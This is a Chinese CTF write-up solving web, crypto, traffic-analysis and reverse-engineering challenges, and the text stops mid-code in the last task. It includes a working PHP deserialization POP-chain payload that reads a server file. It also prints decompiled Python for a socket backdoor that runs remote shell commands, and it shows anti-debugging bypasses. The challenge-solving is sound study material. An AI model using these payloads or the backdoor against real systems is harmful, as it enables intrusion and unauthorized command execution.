26广东省数据安全挑战赛WP

由于本次比赛是安恒的,所以flag形式可能是DASCTF,FLAG,flag其中一种。

Web

code_share

题目翻译一下就是代码分享。

进入靶场打开f12开发人员工具,查看源代码搜索 DASCTF 即可获取flag
image

pooop

题目描述中提示了pop链,题目pooop也算是暗示了pop链。

按照PHP反序列化-pop链的做题思路,通常都是从后面往前看比较流畅。

<?php
class FileReader {
    public $filename;
    public $content;

    public function __construct($filename = '') {
        $this->filename = $filename;
        $this->content = '';
    }

    public function read() {
        if (file_exists($this->filename)) {
            $this->content = file_get_contents($this->filename);
            echo $this->content;
            return $this->content;
        }
        return false;
    }

    public function __toString() {
        return $this->content;
    }
}

class DataProcessor {
    public $reader;
    public $data;

    public function __construct($reader = null, $data = null) {
        $this->reader = $reader;
        $this->data = $data;
    }

    public function process() {
        if ($this->reader && method_exists($this->reader, 'read')) {
            return $this->reader->read();
        }
        return false;
    }

    public function __toString() {
        return $this->process();
    }
}

class OutputHandler {
    public $processor;
    public $format;

    public function __construct($processor = null, $format = 'text') {
        $this->processor = $processor;
        $this->format = $format;
    }

    public function render() {
        if ($this->format === 'html') {
            return (string)$this->processor;
        } elseif ($this->format === 'json') {
            return json_encode($this->processor);
        }
        return 'Unsupported format';
    }

    public function __destruct() {
        $this->render();
    }
}


if (isset($_GET['data'])) {
    unserialize($_GET['data']);
}
?>

做反序列通常先看入口:

if (isset($_GET['data'])) {
    unserialize($_GET['data']);
}

这里明显就是通过GET请求的data参数传入payload。

然后再看一下调用。

// 首先是payload执行的地方。
// 明显就是这里,在代码执行完后销毁类的时候自动执行。
public function __destruct() {
	$this->render();
}

// 然后就是找可以获取flag的地方,如命令执行,文件读取。
// 明显就是这里,需要filename=flag.php即可(原题中php代码上方有提示flag在flag.php中)
public function read() {
	if (file_exists($this->filename)) {
		$this->content = file_get_contents($this->filename);
		echo $this->content;
		return $this->content;
	}
	return false;
}

接下来分析pop链的构造,按照做pop链的思路,从后面往前看。

class OutputHandler {
    public $processor;
    public $format;

    public function __construct($processor = null, $format = 'text') {
        $this->processor = $processor;
        $this->format = $format;
    }

    public function render() {
        if ($this->format === 'html') {
            return (string)$this->processor;
        } elseif ($this->format === 'json') {
            return json_encode($this->processor);
        }
        return 'Unsupported format';
    }

    public function __destruct() {
        $this->render();
    }
}
/*
首先,OutputHandler的processor,format参数可控。
1.当OutputHandler销毁的时候,调用__destruct。
2.这时会调用render函数。
3.当format = 'html'时,render函数会将processor变量当作字符串使用。
4.如果processor为对象,那么就会调用该对象的toString函数
*/
class DataProcessor {
    public $reader;
    public $data;
    
    public function __construct($reader = null, $data = null) {
        $this->reader = $reader;
        $this->data = $data;
    }
    
    public function process() {
        if ($this->reader && method_exists($this->reader, 'read')) {
            return $this->reader->read();
        }
        return false;
    }
    
    public function __toString() {
        return $this->process();
    }
}
/*
首先,DataProcessor的reader,data参数可控。
1.前面的OutputHandler->processor为对象时,会调用toString函数,这里刚好有个toString,那么就OutputHandler->processor = DataProcessor()
2.此时会调用process
3.当render存在且存在read方法时,调用read方法。
*/
class FileReader {
    public $filename;
    public $content;

    public function __construct($filename = '') {
        $this->filename = $filename;
        $this->content = '';
    }

    public function read() {
        if (file_exists($this->filename)) {
            $this->content = file_get_contents($this->filename);
            echo $this->content;
            return $this->content;
        }
        return false;
    }

    public function __toString() {
        return $this->content;
    }
}
/*
首先,FileReader的filename参数可控。
1.前面一步停留在render参数要有read方法才会执行,这里刚好有read方法,不妨让DataProcessor->render = FileReader()
2.此时会调用read函数,当filename = 'flag.php'时,读取flag.php的内容并echo出来。
*/

那么思路就很清晰了。

  • 在GET函数的data参数中传入序列化字符串的payload
  • OutputHandler->format = 'html'OutputHandler->processor = DataProcessor(),此时类销毁时自动调用DataProcessor的toString函数
  • DataProcessor->reader = FileReader(),此时会调用FileReader的read方法
  • FileReader->filename = 'flag.php',此时会读取flag.php的内容,得到flag。

脚本如下:

<?php
class FileReader {
    public $filename;
    public $content;
    public function __construct($filename = ''){
        $this->filename = $filename;
        $this->content = '';
    }
}
class DataProcessor {
    public $reader;
    public $data;
    public function __construct($reader = null, $data = null) {
        $this->reader = $reader;
        $this->data = $data;
    }
}
class OutputHandler {
    public $processor;
    public $format;

    public function __construct($processor = null, $format = 'text') {
        $this->processor = $processor;
        $this->format = $format;
    }
}
$file = new FileReader('flag.php');
$dataPro = new DataProcessor($file);
$output = new OutputHandler($dataPro,$format = 'html');

$res = serialize($output);
echo $res;
"""
?data=O:13:"OutputHandler":2:{s:9:"processor";O:13:"DataProcessor":2:{s:6:"reader";O:10:"FileReader":2:{s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}s:4:"data";N;}s:6:"format";s:4:"html";}
"""

最终flag可以在开发者工具中查看
image

web-3

暂时没学过nodejs模板注入,没做。

Crypto

ez_stream

image

题目中有个stream,翻译过来就是流,ez也可以猜测就是easy,那么题目就是简单的流,在密码里那就翻译简单的流密码。
流密码和对称密码类似,加密解密方法一致,也就是说不需要知道加密过程,只需要重复使用加密这把“钥匙”即可解密。

flag = "DASCTF{xxxxxxxxxxx}"

t = [ord(letter) for letter in flag]
N,K,S=[256,[0]*256],[0]*256,[i for i in range(256)]
key='love'
for i in range(256):
	S[i],K[i]=i,ord(key[i%len(key)])
j=0
for i in range(256):
	j=(j+S[i]+K[i])%256
	S[i],S[j]=S[j],S[i]
i,j=0,0
for k in range(len(t)):
	i=(i+1)%256
	j=(j+S[i])%256
	S[i],S[j]=S[j],S[i]
	t[k]^=S[(S[i]+S[j])%256]

print(t)

# [164, 34, 242, 5, 234, 79, 16, 182, 136, 117, 78, 78, 71, 168, 72, 79, 53, 114, 117]

这里的t相当于密文。那么作为明文,重新加密一次,就相当于解密了。

from Crypto.Util.number import *
import gmpy2
import base64
import re

key= 'love'
N,K,S=[256,[0]*256],[0]*256,[i for i in range(256)]

c = [164, 34, 242, 5, 234, 79, 16, 182, 136, 117, 78, 78, 71, 168, 72, 79, 53, 114, 117]


for i in range(256):
    S[i],K[i]=i,ord(key[i%len(key)])
j=0
for i in range(256):
    j=(j+S[i]+K[i])%256
    S[i],S[j]=S[j],S[i]

i,j=0,0
for k in range(len(c)):
    i=(i+1)%256
    j=(j+S[i])%256
    S[i],S[j]=S[j],S[i]
    c[k] ^= S[(S[i]+S[j])%256]

print(bytes(c))
"""
b'DASCTF{rc4_is_easy}'
"""

最后flag还提示了这是对称密码中的RC4。

crypto-rsa-1-2

image

题目提示rsa,且e很小,尝试低加密指数攻击。

\[\begin{aligned} c = m^{e} + kn \\ c-kn = m^{e} \\ \end{aligned} \]

# c = 324331018188050785918794702679073305540310710315310662435718335809366720010036445669472655302907459037241268692174998551977728126500276127009526962139033582297480329196939696870501732148829961
# e = 2
# n = 1663290343494312556112418462597847770061332350523963564746495559626173161932723449333563945952280717524676578094635165194580132029080250218623035399460235342948238043471364469219928953249338677496747894434531246990952432429197970007988580154412994124146386101179611701791372576016234209885760923171749240891018761513156628357220900588459732582388377175561071270076399255456612578093404862456430272609443288212567765928359236213481454897614843403268663001726211649329165743596820852016929243464321459690931631007775858123487633037117704696486765217613485834828940395472342488273946113373733815665232562823134641821644
import gmpy2
from Crypto.Util.number import *

def de(c, e, n):
    k = 0
    while True:
        m = c + n*k
        # 对m进行开e次方根,返回整数和布尔值,结果为整数返回true
        result, flag = gmpy2.iroot(m, e)
        if True == flag:
            return result
        k += 1
e= 2
n= 1663290343494312556112418462597847770061332350523963564746495559626173161932723449333563945952280717524676578094635165194580132029080250218623035399460235342948238043471364469219928953249338677496747894434531246990952432429197970007988580154412994124146386101179611701791372576016234209885760923171749240891018761513156628357220900588459732582388377175561071270076399255456612578093404862456430272609443288212567765928359236213481454897614843403268663001726211649329165743596820852016929243464321459690931631007775858123487633037117704696486765217613485834828940395472342488273946113373733815665232562823134641821644
c= 324331018188050785918794702679073305540310710315310662435718335809366720010036445669472655302907459037241268692174998551977728126500276127009526962139033582297480329196939696870501732148829961

m=de(c,e,n)
print(long_to_bytes(m))
"""
b'DASCTF{3c8da13e7f443d2370e1be70aaf6c9fe}'
"""

crypto-3

这是一道RSA的题目

n1 % (q - 1) = h

n2 = p * q
phi = (p -1) * (q - 1) = pq - p - q + 1 = n2 - (q + p) + 1

flag = b"************"
m1 = bytes_to_long(flag[:len(flag)//2])
m2 = bytes_to_long(flag[len(flag)//2:])
p = getPrime(512)
q = getPrime(512)
n1 = p*q
e = 65537
c1 = pow(m1,e,n1)
h = n1 % (q-1)
p = getPrime(512)
e = getPrime(512)
q = gmpy2.next_prime(e)
n2  = p*q
phi = (p-1)*(q-1)
c2 = pow(m2,e,n2)
print(h,c1,n1,phi,c2,n2,sep=",")

"""
1566397295726868236680127094558421915922609098505633279956561683832140276425238866433651652263267114738401774583956607018494311353792263960578147268690081
27616760162776416376130496423997060022002165854427524750037188703231493307084879864999388077770807485177868133630205282924481293736553933973087934695106741324652414369733265200316336559459733709171669677482773580621547116542187614867895207365453237853065568205249521432423262843210490077299614077455129123821
70364492958500934564709252179442778535944630133302237568467411163045596849268079579170556114618287334631180126894362319694261559971515738948281518543001384960734818061314559349061634013646409419783324181328293294032693017638487949828832208453863779931215049814543810158832668665332466352086337247237398849521
94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598953771094468286040248139047912432719098191845380313202371580686318981665385778714665144378780670441452614601524067996744523499554713221036313581960340625632
225860282488173774474595989146691098438025146184385263922066080932645975599559469503633053391610350368440816235987719013835434008692446096354441161481854673953069041530930388942140014226757200401048887356470594465487864994123863371857018160807936078688927250084929372852171566778270607022794147915231822240
94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598973917329472874409508654971604553800097247624068572480068862257498098997383494654776604434162358604369776390041482534302524297592607257080417555770594967231

"""

提取出来的已知数据如下:

e1 = 65537
h = 1566397295726868236680127094558421915922609098505633279956561683832140276425238866433651652263267114738401774583956607018494311353792263960578147268690081
c1 = 27616760162776416376130496423997060022002165854427524750037188703231493307084879864999388077770807485177868133630205282924481293736553933973087934695106741324652414369733265200316336559459733709171669677482773580621547116542187614867895207365453237853065568205249521432423262843210490077299614077455129123821
n1 = 70364492958500934564709252179442778535944630133302237568467411163045596849268079579170556114618287334631180126894362319694261559971515738948281518543001384960734818061314559349061634013646409419783324181328293294032693017638487949828832208453863779931215049814543810158832668665332466352086337247237398849521
phi = 94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598953771094468286040248139047912432719098191845380313202371580686318981665385778714665144378780670441452614601524067996744523499554713221036313581960340625632
c2 = 225860282488173774474595989146691098438025146184385263922066080932645975599559469503633053391610350368440816235987719013835434008692446096354441161481854673953069041530930388942140014226757200401048887356470594465487864994123863371857018160807936078688927250084929372852171566778270607022794147915231822240
n2 = 94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598973917329472874409508654971604553800097247624068572480068862257498098997383494654776604434162358604369776390041482534302524297592607257080417555770594967231

由于内网比赛,笔记本没有能力进行大素数分解,yafu这些工具也无法解出,那只能靠数学魔法了。

根据代码,flag分为了两部分加密,一个m1,一个m2

先看第一部分以及对应已知内容

\[\begin{aligned} & n_1 = pq \\ & c_1 = m_1^{e} \bmod n_{1}\\ & e_{1}= 65537 \\ & h = n1 \bmod (q - 1) \end{aligned} \]

这里先看\(n_{1} = \bmod (q - 1)\) 能不能化简

为了后面方便书写,这里先化简\(q \bmod (q - 1)\)

\[q = 1 \times (q - 1) + 1 \]

\[q \equiv 1 \pmod {q - 1} \]

这里继续

\[\begin{aligned} n_{1} \bmod (q - 1) & = pq \bmod (q - 1)\\ & = [p \bmod (q - 1) \times q \bmod (q - 1)] \bmod (q - 1) \\ & = [p \bmod (q - 1) \times 1 \bmod (q - 1)] \bmod (q - 1) \\ & = p \bmod (q - 1) \end{aligned} \]

那么

\[h = p \bmod (q - 1) \]

\[p = k \times (q - 1) + h \]

由于p,q都是512位的(二进制的位数),那么大小差距不会太大,然后h是有509位,可以用h.bit_length()算出。

那么k不太可能是0,也不太可能是2,那么k只能是1。即

\[p = (q - 1) + h \]

\[h-1 = p - q \]

这样我们就知道了p-qpq

这里复习一下高中强大的韦达定理

\[ax^{2} + bx + c = 0 (a \ne 0) \]

\(x_{1} + x_{2} = -\frac{b}{a}\) , \(x_{1}x_{2} = \frac{c}{a}\)

如果a = 1,那么\(x_{1} + x_{2} = -b\)\(x_{1}x_{2} = c\)

那么根据p-qpq,我们就可以得到如下的一元二次方程

\[x^{2} + (h - 1)x - n1 = 0 \]

得出的x1,x2,其中一个是-p,其中一个是q

只需要得到一个正解,另一个就可以根据n1整除得到。

因此第一部分代码如下(这里使用z3模块进行解方程):

from Crypto.Util.number import *
import gmpy2
from z3 import *
e1 = 65537
h = 1566397295726868236680127094558421915922609098505633279956561683832140276425238866433651652263267114738401774583956607018494311353792263960578147268690081
c1 = 27616760162776416376130496423997060022002165854427524750037188703231493307084879864999388077770807485177868133630205282924481293736553933973087934695106741324652414369733265200316336559459733709171669677482773580621547116542187614867895207365453237853065568205249521432423262843210490077299614077455129123821
n1 = 70364492958500934564709252179442778535944630133302237568467411163045596849268079579170556114618287334631180126894362319694261559971515738948281518543001384960734818061314559349061634013646409419783324181328293294032693017638487949828832208453863779931215049814543810158832668665332466352086337247237398849521
x = Int('x')
solver = Solver()
solver.add(x ** 2 + (h - 1) * x - n1 == 0)
q1 = 0
if solver.check() == sat:
	model = solver.model()
	q1 = model[x].as_long()
p1 = n1 // q1
phi1 = (p1 - 1) * (q1 - 1)
d1 = inverse(e1, phi1)
m1 = pow(c1,d1,n1)
flag1 = long_to_bytes(m1)
print(flag1)
"""
b'DASCTF{r2@lly_3aSy_'
"""

接下来看第二部分已知内容

\[\begin{aligned} & n_{2} = pq \\ & c_2 = m_2^{e_2} \bmod n_{2} \\ & phi = (p - 1)(q-1) \end{aligned} \]

已知n和phi,实际上是可以用韦达定理得到p,q的值的,这是韦达定理在RSA中常用的办法

\[\begin{aligned} phi & = (p - 1)(q - 1) \\ & = pq - (p + q) + 1 \\ & = n_{2} - (p + q) + 1 \\ \end{aligned} \]

那么得出 \(p+q = 1 + n_{2} - phi\) ,pq已知
根据韦达定理,得出一元二次方程

\[x^{2} - (1 + n_{2} - phi)x + n_{2} = 0 \]

得出的x1,x2,其中一个是p,其中一个是q

要求出明文,还需要一个e,且q = gmpy2.next_prime(e),那么能够得出明文的那个就是q。

from Crypto.Util.number import *
import gmpy2
from z3 import *
phi = 94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598953771094468286040248139047912432719098191845380313202371580686318981665385778714665144378780670441452614601524067996744523499554713221036313581960340625632
c2 = 225860282488173774474595989146691098438025146184385263922066080932645975599559469503633053391610350368440816235987719013835434008692446096354441161481854673953069041530930388942140014226757200401048887356470594465487864994123863371857018160807936078688927250084929372852171566778270607022794147915231822240
n2 = 94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598973917329472874409508654971604553800097247624068572480068862257498098997383494654776604434162358604369776390041482534302524297592607257080417555770594967231

x = Int('x')
p2_add_q2 = 1 + n2 - phi
solver = Solver()
solver.add(x ** 2 - p2_add_q2 * x + n2 == 0)
val = []
if solver.check() == sat:
	model = solver.model()
	val.append(model[x].as_long())
	solver.add(x != val[0])
	if solver.check() == sat:
		model = solver.model()
		val.append(model[x].as_long())
flag2 = ''
for q2 in val:
	e2 = gmpy2.prev_prime(q2)
	p2 = n2 // q2
	d2 = inverse(e2, phi)
	m2 = pow(c2,d2,n2)
	flag2 = long_to_bytes(m2)
	if b'}' in flag2:
		print(flag2)
"""
b'rsa_challenage!!!!}'
"""

两部分整合在一起,得到flag

from Crypto.Util.number import *
import gmpy2
from z3 import *
e1 = 65537
h = 1566397295726868236680127094558421915922609098505633279956561683832140276425238866433651652263267114738401774583956607018494311353792263960578147268690081
c1 = 27616760162776416376130496423997060022002165854427524750037188703231493307084879864999388077770807485177868133630205282924481293736553933973087934695106741324652414369733265200316336559459733709171669677482773580621547116542187614867895207365453237853065568205249521432423262843210490077299614077455129123821
n1 = 70364492958500934564709252179442778535944630133302237568467411163045596849268079579170556114618287334631180126894362319694261559971515738948281518543001384960734818061314559349061634013646409419783324181328293294032693017638487949828832208453863779931215049814543810158832668665332466352086337247237398849521

phi = 94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598953771094468286040248139047912432719098191845380313202371580686318981665385778714665144378780670441452614601524067996744523499554713221036313581960340625632
c2 = 225860282488173774474595989146691098438025146184385263922066080932645975599559469503633053391610350368440816235987719013835434008692446096354441161481854673953069041530930388942140014226757200401048887356470594465487864994123863371857018160807936078688927250084929372852171566778270607022794147915231822240
n2 = 94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598973917329472874409508654971604553800097247624068572480068862257498098997383494654776604434162358604369776390041482534302524297592607257080417555770594967231

x = Int('x')
solver = Solver()
solver.add(x ** 2 + (h - 1) * x - n1 == 0)
q1 = 0
if solver.check() == sat:
	model = solver.model()
	q1 = model[x].as_long()
p1 = n1 // q1
phi1 = (p1 - 1) * (q1 - 1)
d1 = inverse(e1, phi1)
m1 = pow(c1,d1,n1)
flag1 = long_to_bytes(m1)

x = Int('x')
p2_add_q2 = 1 + n2 - phi
solver = Solver()
solver.add(x ** 2 - p2_add_q2 * x + n2 == 0)
val = []
if solver.check() == sat:
	model = solver.model()
	val.append(model[x].as_long())
	solver.add(x != val[0])
	if solver.check() == sat:
		model = solver.model()
		val.append(model[x].as_long())
flag2 = ''
for q2 in val:
	e2 = gmpy2.prev_prime(q2)
	p2 = n2 // q2
	d2 = inverse(e2, phi)
	m2 = pow(c2,d2,n2)
	flag2 = long_to_bytes(m2)
	if b'}' in flag2:
		print(flag2)

flag = flag1 + flag2
print(flag)
"""
b'DASCTF{r2@lly_3aSy_rsa_challenage!!!!}'
"""

Misc

easyResQ

拿到流量包,先看协议分级
image

基本都是HTTP流。那就再看一下HTTP请求
image

发现这个echo后面的内容有问题。很明显藏了内容,提取出来。
这里使用wireshark的cli工具,tshark

tshark -r easyResQ.pcapng -Y "http.request" -T fields -e http.request.uri > data.txt

image

放到CyberChef中进行提取
image

内容存在大小写字母和数字,猜测base64。
image

Protocol_decryption

一样的,给了流量包,先看协议分级
image

那么先看http
image

有个在传输pyc文件,那么提取出来。在文件->导出->HTTP对象中。
image

pyc是python的二进制文件,可以用python的uncompyle6得到反编译出原始文件。该模块用pip安装即可。

uncompyle6 .\2.cpython-37.pyc > data.py

data.py内容如下

# uncompyle6 version 3.9.3
# Python bytecode version base 3.7.0 (3394)
# Decompiled from: Python 3.13.0 (tags/v3.13.0:60403a5, Oct  7 2024, 09:38:07) [MSC v.1941 64 bit (AMD64)]
# Embedded file name: /home/k/s/2.py
# Compiled at: 2024-10-29 19:24:25
# Size of source mod 2**32: 1950 bytes
import socket, subprocess
CUSTOM_BASE64_CHARS = "LMNOPQRSTUVWxyzabcdefghijklmnopqrstuvw0123456789+/XYZABCDEFGHIJK"

def custom_base64_encode(data):
    binary_string = "".join((format(byte, "08b") for byte in data))
    padding = len(binary_string) % 6
    if padding:
        binary_string += "0" * (6 - padding)
    encoded_string = ""
    for i in range(0, len(binary_string), 6):
        chunk = binary_string[i[:i + 6]]
        index = int(chunk, 2)
        encoded_string += CUSTOM_BASE64_CHARS[index]

    return encoded_string


def custom_base64_decode(encoded_string):
    binary_string = ""
    for char in encoded_string:
        index = CUSTOM_BASE64_CHARS.index(char)
        binary_string += format(index, "06b")

    binary_string = binary_string.rstrip("0")
    decoded_data = bytearray()
    for i in range(0, len(binary_string), 8):
        byte = binary_string[i[:i + 8]]
        if byte:
            decoded_data.append(int(byte, 2))

    return bytes(decoded_data)


def execute_command(command):
    try:
        result = subprocess.run(command, shell=True, capture_output=True, text=True)
        return result.stdout + result.stderr
    except Exception as e:
        try:
            return str(e)
        finally:
            e = None
            del e


def start_server():
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind(('0.0.0.0', 3333))
    server_socket.listen()
    print("Server is listening...")
    conn, addr = server_socket.accept()
    print(f"Connected by {addr}")
    while True:
        data = conn.recv(1024)
        if not data:
            break
        decoded_command = custom_base64_decode(data.decode()).decode()
        print(f"Received command (decoded): {decoded_command}")
        output = execute_command(decoded_command)
        encoded_output = custom_base64_encode(output.encode())
        conn.sendall(encoded_output.encode())

    conn.close()


if __name__ == "__main__":
    start_server()

# okay decompiling 2.cpython-37.pyc

首先看到有个变量,翻译过来就是自定义的base64字符,猜测base64换表。
image

中间内容看函数名即可,入自定义的base64加密等。

看到最后面,这里暴露服务器端口是3333,并且有进行信息的base64换表加密。
image

那看看这个服务器究竟传输了什么信息。
image

发现部分存在Data数据,内容像16进制的。
提取所有源端口是3333,并且是存在Data数据的。

tshark -r protocol.pcap -Y "tcp.srcport eq 3333 and data" -T fields -e data > data.txt

image

放到CyberChef进行操作(注意这里是进行base64换表的)
image

RE

re-1

使用DIE进行分析
image

32位小端序。

使用IDA打开,进来进入main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+0h] [ebp-29Ch]
  int j; // [esp+8Ch] [ebp-210h]
  int i; // [esp+90h] [ebp-20Ch]
  int v7; // [esp+94h] [ebp-208h]
  int v8; // [esp+98h] [ebp-204h]
  HMODULE ModuleHandleA; // [esp+A0h] [ebp-1FCh]
  _DWORD v10[100]; // [esp+A8h] [ebp-1F4h] BYREF
  _WORD v11[50]; // [esp+238h] [ebp-64h] BYREF

  memset(v10, 0, 0x64u);
  sub_401210("Give me flag:", v4);
  gets(v11);
  if ( NtCurrentPeb()->BeingDebugged )
  {
    puts("Something wrong");
    exit(0);
  }
  ModuleHandleA = GetModuleHandleA(0);
  v8 = *(_DWORD *)((char *)ModuleHandleA + *((_DWORD *)ModuleHandleA + 15));
  v7 = 0;
  for ( i = 0; i < 20; ++i )
  {
    v10[i] = v8 * (unsigned __int16)v11[v7];
    v8 = (HIWORD(v10[i]) ^ (unsigned __int64)(unsigned __int16)v11[v7++]) % 0x10000;
  }
  for ( j = 0; j < 20; ++j )
  {
    if ( v10[j] != dword_404000[j] )
    {
      puts("Wrong flag");
      exit(0);
    }
  }
  puts("Congratulations");
  return 0;
}
"""
dword_404000 = [0x11abb940, 0x1548ca7d, 0x17a7a2dc, 0x1f8665c1, 0x1a4715d1, 0x121496e8, 0x2b04c700, 0x106a1bbc, 0x8666d57, 0xbc5b6a8, 0x1683b7d1, 0x2f103506, 0xe1b0681, 0x189a10b0, 0x1749e712, 0xf4fdf30, 0x14c9965e, 0x856feb0, 0xa70e70e, 0x1df43930]
"""

这里有个BeingDebugged,明显就是反调试。
出现NtCurrentPeb(),可以确定是PEB反调试。

if ( NtCurrentPeb()->BeingDebugged )
{
puts("Something wrong");
exit(0);
}

这里nop掉后发现以下问题:
image
image

这里查阅资料发现

  • VCRUNTIME140D.dll — VS2015+ 调试版 C++ 运行时
  • ucrtbased.dll — 调试版 Universal C Runtime
    说明这个程序是 Debug 编译的,需要安装 Visual Studio 的调试运行时才能跑。

后缀带d的是调试版

当然可以单独下载对应的dll文件(这个网址需要点魔法):vcruntime140d.dll 免费下载 | DLL‑files.com
image

也可以找找电脑上其他应用有没有包含这些dll,搬过来(当然要确保是32位的)。
image

因为给的文件是32位的,所以dll文件要放在C:\Windows\SysWOW64下。

这里就当作无法调试吧,采用静态分析。

这里看一下获取flag的条件,很明显只需要v10的值等于dword_404000即可,dword_404000已知。

for ( j = 0; j < 20; ++j )
{
	if ( v10[j] != dword_404000[j] )
	{
	  puts("Wrong flag");
	  exit(0);
	}
}

由于加密过程涉及v8,先看v8

ModuleHandleA = GetModuleHandleA(0);
v8 = *(_DWORD *)((char *)ModuleHandleA + *((_DWORD *)ModuleHandleA + 15));

这里的GetModuleHandleA(0)相当于获取基址。
那么基址是多少呢,可以用DIE查看
image

那么(char *)ModuleHandleA = 0x400000

接下来看(_DWORD *)ModuleHandleA + 15),注意这是DWORD指针的加法计算,看似加15,实则+(15 * 4) = 60 = 0x3C,其中4是表示DWORD占用四个字节。

所以*((_DWORD *)ModuleHandleA + 15)这个就是取0x40003C的值。
依旧DIE查看
image

偏移0x3C的值刚好是0xE8。

e_lfanew 是 DOS 头(IMAGE_DOS_HEADER) 中的一个字段,位于偏移 0x3C 处,作用是:
告诉 Windows 加载器:PE 头(NT 头)在文件的哪个位置。

因此找到PE头(NT头)
image

得到v8的初始值:0x4550

接下来看核心加密内容

// v11 是输入点,即flag
v7 = 0;
for ( i = 0; i < 20; ++i )
{
	v10[i] = v8 * (unsigned __int16)v11[v7];
	v8 = (HIWORD(v10[i]) ^ (unsigned __int64)(unsigned __int16)v11[v7++]) % 0x10000;
}

这里需要理解一下% 0x10000,由于前面的v11[v7++]是WORD,HIWORD(v10[i])也是WORD,那么他们异或的结果肯定也是WORD(4字节),那么不可能大于0x10000,那么这里就相当于HIWORD(v10[i]) ^ v11[v7++]

那么翻译下来加密过程如下

v8 = 0x4550
for i in range(20):
	v10[i] = v8 * flag[i]
	v8 = HIWORD(v10[i]) ^ flag[i]

那么v8相当于不断变化的key,

那么解密脚本如下

import struct
c = IDA_404000 = [0x11abb940, 0x1548ca7d, 0x17a7a2dc, 0x1f8665c1, 0x1a4715d1, 0x121496e8, 0x2b04c700, 0x106a1bbc, 0x8666d57, 0xbc5b6a8, 0x1683b7d1, 0x2f103506, 0xe1b0681, 0x189a10b0, 0x1749e712, 0xf4fdf30, 0x14c9965e, 0x856feb0, 0xa70e70e, 0x1df43930]
key = 0x4550
flag = [0 for x in range(20)]
# & 0xffff 是为了截断,同时也是有符号转无符号,养成习惯,根据数据类型截断。
for i in range(20):
    flag[i] = (c[i] // key) & 0xffff
    key = ((c[i] >> 16) ^ flag[i]) & 0xffff

m = bytearray()
for i in range(20):
    m.extend(struct.pack('<I',flag[i]))
print(m.decode())
"""
DASCTF{be54b8ba9e482ec1fa18c90ec3188170}
"""

re-2

放到DIE中分析,小端序,32位。
image

用IDA打开。

进来Ctrl + E 查看入口
image

发现有TLS调试。
进去看看。
image

发现无法反汇编,这里的

xor eax, eax
jz short near ptr loc_401593+2

相当于

jmp loc_401593+2   ;401593+2 刚好就是后面jmp跟着的地址,这个地址还报红了。

这里可以对0x401593地址的jmp指令按U取消定义,并nop掉jmp这个指令(两个字节:E9 ED

往后看有个类似检查栈的东西,还有个retn
image

__security_check_cookie: 微软Visual C++运行时提供的栈保护检查函数(GS机制的一部分),用于检测栈溢出/缓冲区溢出攻击。

先对TLS函数内容(知道retn结束)按住C重新编译(因为取消定义并用nop掉了一些东西),然后按住P构建函数。

char *__stdcall TlsCallback_0_0(int a1, int a2, int a3)
{
  char *result; // eax
  char v4; // [esp+0h] [ebp-14h]

  sub_40108C("hhh", v4);
  result = (char *)(char)NtCurrentPeb()->BeingDebugged;
  if ( result != (char *)1 )
    return strcpy(
             Destination,                       // "xixixx"
             "DASCTF");
  return result;
}

可以看出当我们不进行调试的时候,就会将Destination赋值为DASCTF,如果调试了,那就不做修改。

由于有个栈保护检查,那么不能有太大的改动,看到if条件的指令有个cmp eax,1,那么就把这里条件改成cmp eax,0
image

源代码变成这样,当进行调试的时候,修改Destination的值,就和之前没调试的一样了。

char *__stdcall TlsCallback_0_0(int a1, int a2, int a3)
{
  char *BeingDebugged_1; // eax
  char v4; // [esp+0h] [ebp-14h]
  signed __int8 BeingDebugged; // [esp+Fh] [ebp-5h]

  sub_40108C("hhh", v4);
  BeingDebugged = NtCurrentPeb()->BeingDebugged;
  BeingDebugged_1 = (char *)BeingDebugged;
  if ( BeingDebugged )
    return strcpy(
             Destination,                       // "xixixx"
             "DASCTF");
  return BeingDebugged_1;
}
"""
记一下Destination的地址:.data:0040A000
"""

接着看main函数,同样的问题,存在花指令。
image

根据前面的修改办法,修改后main函数如下:

int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+0h] [ebp-224h]
  char v5; // [esp+0h] [ebp-224h]
  int i; // [esp+Ch] [ebp-218h]
  _DWORD v7[65]; // [esp+14h] [ebp-210h] BYREF
  _BYTE v9[52]; // [esp+120h] [ebp-104h]
  char Str[204]; // [esp+154h] [ebp-D0h] BYREF

  sub_401064();
  input("DASCTF,input flag:\n", v4);
  memset(Str, 0, 0xC8u);
  v9[0] = 13;
  v9[1] = -41;
  v9[2] = -5;
  v9[3] = 5;
  v9[4] = -32;
  v9[5] = -18;
  v9[6] = 13;
  v9[7] = -105;
  v9[8] = -92;
  v9[9] = -17;
  v9[10] = 96;
  v9[11] = 20;
  v9[12] = -29;
  v9[13] = -96;
  v9[14] = 41;
  v9[15] = -117;
  v9[16] = 74;
  v9[17] = 55;
  v9[18] = -20;
  v9[19] = 83;
  v9[20] = -66;
  v9[21] = -48;
  v9[22] = -46;
  v9[23] = -8;
  v9[24] = -83;
  v9[25] = 19;
  v9[26] = 96;
  v9[27] = -89;
  v9[28] = -58;
  v9[29] = -60;
  v9[30] = 96;
  v9[31] = 113;
  v9[32] = -43;
  v9[33] = 85;
  v9[34] = 113;
  v9[35] = 19;
  v9[36] = 62;
  v9[37] = -1;
  v9[38] = 29;
  v9[39] = -6;
  v9[40] = 18;
  v9[41] = 0x80;
  v9[42] = -29;
  v9[43] = 41;
  print("%s", (char)Str);    // 输入点Str
  if ( strlen(Str) != 44 )   // 长度限制44
    exit(0);
  if ( !sub_401276(Str, "DASCTF{") )     // 进去后面有个strstr,这是比较字串是否存在的
    exit(0);
  sub_40119F(
    xixixx,                                     // "xixixx"
    6,
    v7);
